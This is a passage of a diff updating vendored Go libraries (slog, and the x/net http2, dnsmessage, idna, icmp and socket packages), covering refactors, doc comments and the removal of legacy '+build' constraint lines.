has a zero LocalAddr() and RemoteAddr(). func (c *Client) Dial(n, addr string) (net.Conn, error) { diff --git a/vendor/golang.org/x/exp/slog/handler.go b/vendor/golang.org/x/exp/slog/handler.go index 74f88738c9..bd635cb818 100644 --- a/vendor/golang.org/x/exp/slog/handler.go +++ b/vendor/golang.org/x/exp/slog/handler.go @@ -8,6 +8,7 @@ import ( "context" "fmt" "io" + "reflect" "strconv" "sync" "time" @@ -504,6 +505,23 @@ func (s *handleState) appendString(str string) { } func (s *handleState) appendValue(v Value) { + defer func() { + if r := recover(); r != nil { + // If it panics with a nil pointer, the most likely cases are + // an encoding.TextMarshaler or error fails to guard against nil, + // in which case "" seems to be the feasible choice. + // + // Adapted from the code in fmt/print.go. + if v := reflect.ValueOf(v.any); v.Kind() == reflect.Pointer && v.IsNil() { + s.appendString("") + return + } + + // Otherwise just print the original panic message. + s.appendString(fmt.Sprintf("!PANIC: %v", r)) + } + }() + var err error if s.h.json { err = appendJSONValue(s, v) diff --git a/vendor/golang.org/x/net/dns/dnsmessage/message.go b/vendor/golang.org/x/net/dns/dnsmessage/message.go index b6b4f9c197..42987ab7c5 100644 --- a/vendor/golang.org/x/net/dns/dnsmessage/message.go +++ b/vendor/golang.org/x/net/dns/dnsmessage/message.go @@ -751,6 +751,9 @@ func (p *Parser) AllAnswers() ([]Resource, error) { } // SkipAnswer skips a single Answer Resource. +// +// It does not perform a complete validation of the resource header, which means +// it may return a nil error when the [AnswerHeader] would actually return an error. func (p *Parser) SkipAnswer() error { return p.skipResource(sectionAnswers) } @@ -801,6 +804,9 @@ func (p *Parser) AllAuthorities() ([]Resource, error) { } // SkipAuthority skips a single Authority Resource. +// +// It does not perform a complete validation of the resource header, which means +// it may return a nil error when the [AuthorityHeader] would actually return an error. func (p *Parser) SkipAuthority() error { return p.skipResource(sectionAuthorities) } @@ -851,6 +857,9 @@ func (p *Parser) AllAdditionals() ([]Resource, error) { } // SkipAdditional skips a single Additional Resource. +// +// It does not perform a complete validation of the resource header, which means +// it may return a nil error when the [AdditionalHeader] would actually return an error. func (p *Parser) SkipAdditional() error { return p.skipResource(sectionAdditionals) } diff --git a/vendor/golang.org/x/net/http2/databuffer.go b/vendor/golang.org/x/net/http2/databuffer.go index a3067f8de7..e6f55cbd16 100644 --- a/vendor/golang.org/x/net/http2/databuffer.go +++ b/vendor/golang.org/x/net/http2/databuffer.go @@ -20,41 +20,44 @@ import ( // TODO: Benchmark to determine if the pools are necessary. The GC may have // improved enough that we can instead allocate chunks like this: // make([]byte, max(16<<10, expectedBytesRemaining)) -var ( - dataChunkSizeClasses = []int{ - 1 << 10, - 2 << 10, - 4 << 10, - 8 << 10, - 16 << 10, - } - dataChunkPools = [...]sync.Pool{ - {New: func() interface{} { return make([]byte, 1<<10) }}, - {New: func() interface{} { return make([]byte, 2<<10) }}, - {New: func() interface{} { return make([]byte, 4<<10) }}, - {New: func() interface{} { return make([]byte, 8<<10) }}, - {New: func() interface{} { return make([]byte, 16<<10) }}, - } -) +var dataChunkPools = [...]sync.Pool{ + {New: func() interface{} { return new([1 << 10]byte) }}, + {New: func() interface{} { return new([2 << 10]byte) }}, + {New: func() interface{} { return new([4 << 10]byte) }}, + {New: func() interface{} { return new([8 << 10]byte) }}, + {New: func() interface{} { return new([16 << 10]byte) }}, +} func getDataBufferChunk(size int64) []byte { - i := 0 - for ; i < len(dataChunkSizeClasses)-1; i++ { - if size <= int64(dataChunkSizeClasses[i]) { - break - } + switch { + case size <= 1<<10: + return dataChunkPools[0].Get().(*[1 << 10]byte)[:] + case size <= 2<<10: + return dataChunkPools[1].Get().(*[2 << 10]byte)[:] + case size <= 4<<10: + return dataChunkPools[2].Get().(*[4 << 10]byte)[:] + case size <= 8<<10: + return dataChunkPools[3].Get().(*[8 << 10]byte)[:] + default: + return dataChunkPools[4].Get().(*[16 << 10]byte)[:] } - return dataChunkPools[i].Get().([]byte) } func putDataBufferChunk(p []byte) { - for i, n := range dataChunkSizeClasses { - if len(p) == n { - dataChunkPools[i].Put(p) - return - } + switch len(p) { + case 1 << 10: + dataChunkPools[0].Put((*[1 << 10]byte)(p)) + case 2 << 10: + dataChunkPools[1].Put((*[2 << 10]byte)(p)) + case 4 << 10: + dataChunkPools[2].Put((*[4 << 10]byte)(p)) + case 8 << 10: + dataChunkPools[3].Put((*[8 << 10]byte)(p)) + case 16 << 10: + dataChunkPools[4].Put((*[16 << 10]byte)(p)) + default: + panic(fmt.Sprintf("unexpected buffer len=%v", len(p))) } - panic(fmt.Sprintf("unexpected buffer len=%v", len(p))) } // dataBuffer is an io.ReadWriter backed by a list of data chunks. diff --git a/vendor/golang.org/x/net/http2/go111.go b/vendor/golang.org/x/net/http2/go111.go deleted file mode 100644 index 5bf62b032e..0000000000 --- a/vendor/golang.org/x/net/http2/go111.go +++ /dev/null @@ -1,30 +0,0 @@ -// Copyright 2018 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -//go:build go1.11 -// +build go1.11 - -package http2 - -import ( - "net/http/httptrace" - "net/textproto" -) - -func traceHasWroteHeaderField(trace *httptrace.ClientTrace) bool { - return trace != nil && trace.WroteHeaderField != nil -} - -func traceWroteHeaderField(trace *httptrace.ClientTrace, k, v string) { - if trace != nil && trace.WroteHeaderField != nil { - trace.WroteHeaderField(k, []string{v}) - } -} - -func traceGot1xxResponseFunc(trace *httptrace.ClientTrace) func(int, textproto.MIMEHeader) error { - if trace != nil { - return trace.Got1xxResponse - } - return nil -} diff --git a/vendor/golang.org/x/net/http2/go115.go b/vendor/golang.org/x/net/http2/go115.go deleted file mode 100644 index 908af1ab93..0000000000 --- a/vendor/golang.org/x/net/http2/go115.go +++ /dev/null @@ -1,27 +0,0 @@ -// Copyright 2021 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -//go:build go1.15 -// +build go1.15 - -package http2 - -import ( - "context" - "crypto/tls" -) - -// dialTLSWithContext uses tls.Dialer, added in Go 1.15, to open a TLS -// connection. -func (t *Transport) dialTLSWithContext(ctx context.Context, network, addr string, cfg *tls.Config) (*tls.Conn, error) { - dialer := &tls.Dialer{ - Config: cfg, - } - cn, err := dialer.DialContext(ctx, network, addr) - if err != nil { - return nil, err - } - tlsCn := cn.(*tls.Conn) // DialContext comment promises this will always succeed - return tlsCn, nil -} diff --git a/vendor/golang.org/x/net/http2/go118.go b/vendor/golang.org/x/net/http2/go118.go deleted file mode 100644 index aca4b2b31a..0000000000 --- a/vendor/golang.org/x/net/http2/go118.go +++ /dev/null @@ -1,17 +0,0 @@ -// Copyright 2021 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -//go:build go1.18 -// +build go1.18 - -package http2 - -import ( - "crypto/tls" - "net" -) - -func tlsUnderlyingConn(tc *tls.Conn) net.Conn { - return tc.NetConn() -} diff --git a/vendor/golang.org/x/net/http2/not_go111.go b/vendor/golang.org/x/net/http2/not_go111.go deleted file mode 100644 index cc0baa8197..0000000000 --- a/vendor/golang.org/x/net/http2/not_go111.go +++ /dev/null @@ -1,21 +0,0 @@ -// Copyright 2018 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -//go:build !go1.11 -// +build !go1.11 - -package http2 - -import ( - "net/http/httptrace" - "net/textproto" -) - -func traceHasWroteHeaderField(trace *httptrace.ClientTrace) bool { return false } - -func traceWroteHeaderField(trace *httptrace.ClientTrace, k, v string) {} - -func traceGot1xxResponseFunc(trace *httptrace.ClientTrace) func(int, textproto.MIMEHeader) error { - return nil -} diff --git a/vendor/golang.org/x/net/http2/not_go115.go b/vendor/golang.org/x/net/http2/not_go115.go deleted file mode 100644 index e6c04cf7ac..0000000000 --- a/vendor/golang.org/x/net/http2/not_go115.go +++ /dev/null @@ -1,31 +0,0 @@ -// Copyright 2021 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -//go:build !go1.15 -// +build !go1.15 - -package http2 - -import ( - "context" - "crypto/tls" -) - -// dialTLSWithContext opens a TLS connection. -func (t *Transport) dialTLSWithContext(ctx context.Context, network, addr string, cfg *tls.Config) (*tls.Conn, error) { - cn, err := tls.Dial(network, addr, cfg) - if err != nil { - return nil, err - } - if err := cn.Handshake(); err != nil { - return nil, err - } - if cfg.InsecureSkipVerify { - return cn, nil - } - if err := cn.VerifyHostname(cfg.ServerName); err != nil { - return nil, err - } - return cn, nil -} diff --git a/vendor/golang.org/x/net/http2/not_go118.go b/vendor/golang.org/x/net/http2/not_go118.go deleted file mode 100644 index eab532c96b..0000000000 --- a/vendor/golang.org/x/net/http2/not_go118.go +++ /dev/null @@ -1,17 +0,0 @@ -// Copyright 2021 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -//go:build !go1.18 -// +build !go1.18 - -package http2 - -import ( - "crypto/tls" - "net" -) - -func tlsUnderlyingConn(tc *tls.Conn) net.Conn { - return nil -} diff --git a/vendor/golang.org/x/net/http2/server.go b/vendor/golang.org/x/net/http2/server.go index 02c88b6b3e..ae94c6408d 100644 --- a/vendor/golang.org/x/net/http2/server.go +++ b/vendor/golang.org/x/net/http2/server.go @@ -2549,7 +2549,6 @@ type responseWriterState struct { wroteHeader bool // WriteHeader called (explicitly or implicitly). Not necessarily sent to user yet. sentHeader bool // have we sent the header frame? handlerDone bool // handler has finished - dirty bool // a Write failed; don't reuse this responseWriterState sentContentLen int64 // non-zero if handler set a Content-Length header wroteBytes int64 @@ -2669,7 +2668,6 @@ func (rws *responseWriterState) writeChunk(p []byte) (n int, err error) { date: date, }) if err != nil { - rws.dirty = true return 0, err } if endStream { @@ -2690,7 +2688,6 @@ func (rws *responseWriterState) writeChunk(p []byte) (n int, err error) { if len(p) > 0 || endStream { // only send a 0 byte DATA frame if we're ending the stream. if err := rws.conn.writeDataFromHandler(rws.stream, p, endStream); err != nil { - rws.dirty = true return 0, err } } @@ -2702,9 +2699,6 @@ func (rws *responseWriterState) writeChunk(p []byte) (n int, err error) { trailers: rws.trailers, endStream: true, }) - if err != nil { - rws.dirty = true - } return len(p), err } return len(p), nil @@ -2920,14 +2914,12 @@ func (rws *responseWriterState) writeHeader(code int) { h.Del("Transfer-Encoding") } - if rws.conn.writeHeaders(rws.stream, &writeResHeaders{ + rws.conn.writeHeaders(rws.stream, &writeResHeaders{ streamID: rws.stream.id, httpResCode: code, h: h, endStream: rws.handlerDone && !rws.hasTrailers(), - }) != nil { - rws.dirty = true - } + }) return } @@ -2992,19 +2984,10 @@ func (w *responseWriter) write(lenData int, dataB []byte, dataS string) (n int, func (w *responseWriter) handlerDone() { rws := w.rws - dirty := rws.dirty rws.handlerDone = true w.Flush() w.rws = nil - if !dirty { - // Only recycle the pool if all prior Write calls to - // the serverConn goroutine completed successfully. If - // they returned earlier due to resets from the peer - // there might still be write goroutines outstanding - // from the serverConn referencing the rws memory. See - // issue 20704. - responseWriterStatePool.Put(rws) - } + responseWriterStatePool.Put(rws) } // Push errors. @@ -3187,6 +3170,7 @@ func (sc *serverConn) startPush(msg *startPushRequest) { panic(fmt.Sprintf("newWriterAndRequestNoBody(%+v): %v", msg.url, err)) } + sc.curHandlers++ go sc.runHandler(rw, req, sc.handler.ServeHTTP) return promisedID, nil } diff --git a/vendor/golang.org/x/net/http2/transport.go b/vendor/golang.org/x/net/http2/transport.go index 4515b22c4a..df578b86c6 100644 --- a/vendor/golang.org/x/net/http2/transport.go +++ b/vendor/golang.org/x/net/http2/transport.go @@ -1018,7 +1018,7 @@ func (cc *ClientConn) forceCloseConn() { if !ok { return } - if nc := tlsUnderlyingConn(tc); nc != nil { + if nc := tc.NetConn(); nc != nil { nc.Close() } } @@ -3201,3 +3201,34 @@ func traceFirstResponseByte(trace *httptrace.ClientTrace) { trace.GotFirstResponseByte() } } + +func traceHasWroteHeaderField(trace *httptrace.ClientTrace) bool { + return trace != nil && trace.WroteHeaderField != nil +} + +func traceWroteHeaderField(trace *httptrace.ClientTrace, k, v string) { + if trace != nil && trace.WroteHeaderField != nil { + trace.WroteHeaderField(k, []string{v}) + } +} + +func traceGot1xxResponseFunc(trace *httptrace.ClientTrace) func(int, textproto.MIMEHeader) error { + if trace != nil { + return trace.Got1xxResponse + } + return nil +} + +// dialTLSWithContext uses tls.Dialer, added in Go 1.15, to open a TLS +// connection. +func (t *Transport) dialTLSWithContext(ctx context.Context, network, addr string, cfg *tls.Config) (*tls.Conn, error) { + dialer := &tls.Dialer{ + Config: cfg, + } + cn, err := dialer.DialContext(ctx, network, addr) + if err != nil { + return nil, err + } + tlsCn := cn.(*tls.Conn) // DialContext comment promises this will always succeed + return tlsCn, nil +} diff --git a/vendor/golang.org/x/net/icmp/helper_posix.go b/vendor/golang.org/x/net/icmp/helper_posix.go index 6c3ebfaed4..f625483f06 100644 --- a/vendor/golang.org/x/net/icmp/helper_posix.go +++ b/vendor/golang.org/x/net/icmp/helper_posix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || windows -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris windows package icmp diff --git a/vendor/golang.org/x/net/icmp/listen_posix.go b/vendor/golang.org/x/net/icmp/listen_posix.go index 6aea804788..b7cb15b7dc 100644 --- a/vendor/golang.org/x/net/icmp/listen_posix.go +++ b/vendor/golang.org/x/net/icmp/listen_posix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || windows -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris windows package icmp diff --git a/vendor/golang.org/x/net/icmp/listen_stub.go b/vendor/golang.org/x/net/icmp/listen_stub.go index 1acfb74b60..7b76be1cb3 100644 --- a/vendor/golang.org/x/net/icmp/listen_stub.go +++ b/vendor/golang.org/x/net/icmp/listen_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows package icmp diff --git a/vendor/golang.org/x/net/idna/go118.go b/vendor/golang.org/x/net/idna/go118.go index c5c4338dbe..712f1ad839 100644 --- a/vendor/golang.org/x/net/idna/go118.go +++ b/vendor/golang.org/x/net/idna/go118.go @@ -5,7 +5,6 @@ // license that can be found in the LICENSE file. //go:build go1.18 -// +build go1.18 package idna diff --git a/vendor/golang.org/x/net/idna/idna10.0.0.go b/vendor/golang.org/x/net/idna/idna10.0.0.go index 64ccf85feb..7b37178847 100644 --- a/vendor/golang.org/x/net/idna/idna10.0.0.go +++ b/vendor/golang.org/x/net/idna/idna10.0.0.go @@ -5,7 +5,6 @@ // license that can be found in the LICENSE file. //go:build go1.10 -// +build go1.10 // Package idna implements IDNA2008 using the compatibility processing // defined by UTS (Unicode Technical Standard) #46, which defines a standard to diff --git a/vendor/golang.org/x/net/idna/idna9.0.0.go b/vendor/golang.org/x/net/idna/idna9.0.0.go index ee1698cefb..cc6a892a4a 100644 --- a/vendor/golang.org/x/net/idna/idna9.0.0.go +++ b/vendor/golang.org/x/net/idna/idna9.0.0.go @@ -5,7 +5,6 @@ // license that can be found in the LICENSE file. //go:build !go1.10 -// +build !go1.10 // Package idna implements IDNA2008 using the compatibility processing // defined by UTS (Unicode Technical Standard) #46, which defines a standard to diff --git a/vendor/golang.org/x/net/idna/pre_go118.go b/vendor/golang.org/x/net/idna/pre_go118.go index 3aaccab1c5..40e74bb3d2 100644 --- a/vendor/golang.org/x/net/idna/pre_go118.go +++ b/vendor/golang.org/x/net/idna/pre_go118.go @@ -5,7 +5,6 @@ // license that can be found in the LICENSE file. //go:build !go1.18 -// +build !go1.18 package idna diff --git a/vendor/golang.org/x/net/idna/tables10.0.0.go b/vendor/golang.org/x/net/idna/tables10.0.0.go index d1d62ef459..c6c2bf10a6 100644 --- a/vendor/golang.org/x/net/idna/tables10.0.0.go +++ b/vendor/golang.org/x/net/idna/tables10.0.0.go @@ -1,7 +1,6 @@ // Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT. //go:build go1.10 && !go1.13 -// +build go1.10,!go1.13 package idna diff --git a/vendor/golang.org/x/net/idna/tables11.0.0.go b/vendor/golang.org/x/net/idna/tables11.0.0.go index 167efba712..76789393cc 100644 --- a/vendor/golang.org/x/net/idna/tables11.0.0.go +++ b/vendor/golang.org/x/net/idna/tables11.0.0.go @@ -1,7 +1,6 @@ // Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT. //go:build go1.13 && !go1.14 -// +build go1.13,!go1.14 package idna diff --git a/vendor/golang.org/x/net/idna/tables12.0.0.go b/vendor/golang.org/x/net/idna/tables12.0.0.go index ab40f7bcc3..0600cd2ae5 100644 --- a/vendor/golang.org/x/net/idna/tables12.0.0.go +++ b/vendor/golang.org/x/net/idna/tables12.0.0.go @@ -1,7 +1,6 @@ // Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT. //go:build go1.14 && !go1.16 -// +build go1.14,!go1.16 package idna diff --git a/vendor/golang.org/x/net/idna/tables13.0.0.go b/vendor/golang.org/x/net/idna/tables13.0.0.go index 66701eadfb..2fb768ef6d 100644 --- a/vendor/golang.org/x/net/idna/tables13.0.0.go +++ b/vendor/golang.org/x/net/idna/tables13.0.0.go @@ -1,7 +1,6 @@ // Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT. //go:build go1.16 && !go1.21 -// +build go1.16,!go1.21 package idna diff --git a/vendor/golang.org/x/net/idna/tables15.0.0.go b/vendor/golang.org/x/net/idna/tables15.0.0.go index 40033778f0..5ff05fe1af 100644 --- a/vendor/golang.org/x/net/idna/tables15.0.0.go +++ b/vendor/golang.org/x/net/idna/tables15.0.0.go @@ -1,7 +1,6 @@ // Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT. //go:build go1.21 -// +build go1.21 package idna diff --git a/vendor/golang.org/x/net/idna/tables9.0.0.go b/vendor/golang.org/x/net/idna/tables9.0.0.go index 4074b5332e..0f25e84ca2 100644 --- a/vendor/golang.org/x/net/idna/tables9.0.0.go +++ b/vendor/golang.org/x/net/idna/tables9.0.0.go @@ -1,7 +1,6 @@ // Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT. //go:build !go1.10 -// +build !go1.10 package idna diff --git a/vendor/golang.org/x/net/idna/trie12.0.0.go b/vendor/golang.org/x/net/idna/trie12.0.0.go index bb63f904b3..8a75b96673 100644 --- a/vendor/golang.org/x/net/idna/trie12.0.0.go +++ b/vendor/golang.org/x/net/idna/trie12.0.0.go @@ -5,7 +5,6 @@ // license that can be found in the LICENSE file. //go:build !go1.16 -// +build !go1.16 package idna diff --git a/vendor/golang.org/x/net/idna/trie13.0.0.go b/vendor/golang.org/x/net/idna/trie13.0.0.go index 7d68a8dc13..fa45bb9074 100644 --- a/vendor/golang.org/x/net/idna/trie13.0.0.go +++ b/vendor/golang.org/x/net/idna/trie13.0.0.go @@ -5,7 +5,6 @@ // license that can be found in the LICENSE file. //go:build go1.16 -// +build go1.16 package idna diff --git a/vendor/golang.org/x/net/internal/socket/cmsghdr.go b/vendor/golang.org/x/net/internal/socket/cmsghdr.go index 4bdaaaf1ad..33a5bf59c3 100644 --- a/vendor/golang.org/x/net/internal/socket/cmsghdr.go +++ b/vendor/golang.org/x/net/internal/socket/cmsghdr.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/cmsghdr_bsd.go b/vendor/golang.org/x/net/internal/socket/cmsghdr_bsd.go index 0d30e0a0f2..68f438c845 100644 --- a/vendor/golang.org/x/net/internal/socket/cmsghdr_bsd.go +++ b/vendor/golang.org/x/net/internal/socket/cmsghdr_bsd.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || netbsd || openbsd -// +build aix darwin dragonfly freebsd netbsd openbsd package socket diff --git a/vendor/golang.org/x/net/internal/socket/cmsghdr_linux_32bit.go b/vendor/golang.org/x/net/internal/socket/cmsghdr_linux_32bit.go index 4936e8a6f3..058ea8de89 100644 --- a/vendor/golang.org/x/net/internal/socket/cmsghdr_linux_32bit.go +++ b/vendor/golang.org/x/net/internal/socket/cmsghdr_linux_32bit.go @@ -3,8 +3,6 @@ // license that can be found in the LICENSE file. //go:build (arm || mips || mipsle || 386 || ppc) && linux -// +build arm mips mipsle 386 ppc -// +build linux package socket diff --git a/vendor/golang.org/x/net/internal/socket/cmsghdr_linux_64bit.go b/vendor/golang.org/x/net/internal/socket/cmsghdr_linux_64bit.go index f6877f98fd..3ca0d3a0ab 100644 --- a/vendor/golang.org/x/net/internal/socket/cmsghdr_linux_64bit.go +++ b/vendor/golang.org/x/net/internal/socket/cmsghdr_linux_64bit.go @@ -3,8 +3,6 @@ // license that can be found in the LICENSE file. //go:build (arm64 || amd64 || loong64 || ppc64 || ppc64le || mips64 || mips64le || riscv64 || s390x) && linux -// +build arm64 amd64 loong64 ppc64 ppc64le mips64 mips64le riscv64 s390x -// +build linux package socket diff --git a/vendor/golang.org/x/net/internal/socket/cmsghdr_solaris_64bit.go b/vendor/golang.org/x/net/internal/socket/cmsghdr_solaris_64bit.go index d3dbe1b8e0..6d0e426cdd 100644 --- a/vendor/golang.org/x/net/internal/socket/cmsghdr_solaris_64bit.go +++ b/vendor/golang.org/x/net/internal/socket/cmsghdr_solaris_64bit.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build amd64 && solaris -// +build amd64,solaris package socket diff --git a/vendor/golang.org/x/net/internal/socket/cmsghdr_stub.go b/vendor/golang.org/x/net/internal/socket/cmsghdr_stub.go index 1d9f2ed625..7ca9cb7e78 100644 --- a/vendor/golang.org/x/net/internal/socket/cmsghdr_stub.go +++ b/vendor/golang.org/x/net/internal/socket/cmsghdr_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/cmsghdr_unix.go b/vendor/golang.org/x/net/internal/socket/cmsghdr_unix.go index 19d46789de..0211f225bf 100644 --- a/vendor/golang.org/x/net/internal/socket/cmsghdr_unix.go +++ b/vendor/golang.org/x/net/internal/socket/cmsghdr_unix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/complete_dontwait.go b/vendor/golang.org/x/net/internal/socket/complete_dontwait.go index 5b1d50ae72..2038f29043 100644 --- a/vendor/golang.org/x/net/internal/socket/complete_dontwait.go +++ b/vendor/golang.org/x/net/internal/socket/complete_dontwait.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris -// +build darwin dragonfly freebsd linux netbsd openbsd solaris package socket diff --git a/vendor/golang.org/x/net/internal/socket/complete_nodontwait.go b/vendor/golang.org/x/net/internal/socket/complete_nodontwait.go index be63409583..70e6f448b0 100644 --- a/vendor/golang.org/x/net/internal/socket/complete_nodontwait.go +++ b/vendor/golang.org/x/net/internal/socket/complete_nodontwait.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || windows || zos -// +build aix windows zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/empty.s b/vendor/golang.org/x/net/internal/socket/empty.s index 90ab4ca3d8..49d79791e0 100644 --- a/vendor/golang.org/x/net/internal/socket/empty.s +++ b/vendor/golang.org/x/net/internal/socket/empty.s @@ -3,6 +3,5 @@ // license that can be found in the LICENSE file. //go:build darwin && go1.12 -// +build darwin,go1.12 // This exists solely so we can linkname in symbols from syscall. diff --git a/vendor/golang.org/x/net/internal/socket/error_unix.go b/vendor/golang.org/x/net/internal/socket/error_unix.go index 78f4129047..7a5cc5c43e 100644 --- a/vendor/golang.org/x/net/internal/socket/error_unix.go +++ b/vendor/golang.org/x/net/internal/socket/error_unix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/iovec_32bit.go b/vendor/golang.org/x/net/internal/socket/iovec_32bit.go index 2b8fbb3f3d..340e53fbda 100644 --- a/vendor/golang.org/x/net/internal/socket/iovec_32bit.go +++ b/vendor/golang.org/x/net/internal/socket/iovec_32bit.go @@ -3,8 +3,6 @@ // license that can be found in the LICENSE file. //go:build (arm || mips || mipsle || 386 || ppc) && (darwin || dragonfly || freebsd || linux || netbsd || openbsd) -// +build arm mips mipsle 386 ppc -// +build darwin dragonfly freebsd linux netbsd openbsd package socket diff --git a/vendor/golang.org/x/net/internal/socket/iovec_64bit.go b/vendor/golang.org/x/net/internal/socket/iovec_64bit.go index 2e94e96f8b..26470c191a 100644 --- a/vendor/golang.org/x/net/internal/socket/iovec_64bit.go +++ b/vendor/golang.org/x/net/internal/socket/iovec_64bit.go @@ -3,8 +3,6 @@ // license that can be found in the LICENSE file. //go:build (arm64 || amd64 || loong64 || ppc64 || ppc64le || mips64 || mips64le || riscv64 || s390x) && (aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || zos) -// +build arm64 amd64 loong64 ppc64 ppc64le mips64 mips64le riscv64 s390x -// +build aix darwin dragonfly freebsd linux netbsd openbsd zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/iovec_solaris_64bit.go b/vendor/golang.org/x/net/internal/socket/iovec_solaris_64bit.go index f7da2bc4d4..8859ce1035 100644 --- a/vendor/golang.org/x/net/internal/socket/iovec_solaris_64bit.go +++ b/vendor/golang.org/x/net/internal/socket/iovec_solaris_64bit.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build amd64 && solaris -// +build amd64,solaris package socket diff --git a/vendor/golang.org/x/net/internal/socket/iovec_stub.go b/vendor/golang.org/x/net/internal/socket/iovec_stub.go index 14caf52483..da886b0326 100644 --- a/vendor/golang.org/x/net/internal/socket/iovec_stub.go +++ b/vendor/golang.org/x/net/internal/socket/iovec_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/mmsghdr_stub.go b/vendor/golang.org/x/net/internal/socket/mmsghdr_stub.go index 113e773cd5..4825b21e3e 100644 --- a/vendor/golang.org/x/net/internal/socket/mmsghdr_stub.go +++ b/vendor/golang.org/x/net/internal/socket/mmsghdr_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !linux && !netbsd -// +build !aix,!linux,!netbsd package socket diff --git a/vendor/golang.org/x/net/internal/socket/mmsghdr_unix.go b/vendor/golang.org/x/net/internal/socket/mmsghdr_unix.go index 41883c530c..311fd2c789 100644 --- a/vendor/golang.org/x/net/internal/socket/mmsghdr_unix.go +++ b/vendor/golang.org/x/net/internal/socket/mmsghdr_unix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || linux || netbsd -// +build aix linux netbsd package socket diff --git a/vendor/golang.org/x/net/internal/socket/msghdr_bsd.go b/vendor/golang.org/x/net/internal/socket/msghdr_bsd.go index 25f6847f99..ebff4f6e05 100644 --- a/vendor/golang.org/x/net/internal/socket/msghdr_bsd.go +++ b/vendor/golang.org/x/net/internal/socket/msghdr_bsd.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || netbsd || openbsd -// +build aix darwin dragonfly freebsd netbsd openbsd package socket diff --git a/vendor/golang.org/x/net/internal/socket/msghdr_bsdvar.go b/vendor/golang.org/x/net/internal/socket/msghdr_bsdvar.go index 5b8e00f1cd..62e6fe8616 100644 --- a/vendor/golang.org/x/net/internal/socket/msghdr_bsdvar.go +++ b/vendor/golang.org/x/net/internal/socket/msghdr_bsdvar.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || netbsd -// +build aix darwin dragonfly freebsd netbsd package socket diff --git a/vendor/golang.org/x/net/internal/socket/msghdr_linux_32bit.go b/vendor/golang.org/x/net/internal/socket/msghdr_linux_32bit.go index b4658fbaeb..3dd07250a6 100644 --- a/vendor/golang.org/x/net/internal/socket/msghdr_linux_32bit.go +++ b/vendor/golang.org/x/net/internal/socket/msghdr_linux_32bit.go @@ -3,8 +3,6 @@ // license that can be found in the LICENSE file. //go:build (arm || mips || mipsle || 386 || ppc) && linux -// +build arm mips mipsle 386 ppc -// +build linux package socket diff --git a/vendor/golang.org/x/net/internal/socket/msghdr_linux_64bit.go b/vendor/golang.org/x/net/internal/socket/msghdr_linux_64bit.go index 42411affad..5af9ddd6ab 100644 --- a/vendor/golang.org/x/net/internal/socket/msghdr_linux_64bit.go +++ b/vendor/golang.org/x/net/internal/socket/msghdr_linux_64bit.go @@ -3,8 +3,6 @@ // license that can be found in the LICENSE file. //go:build (arm64 || 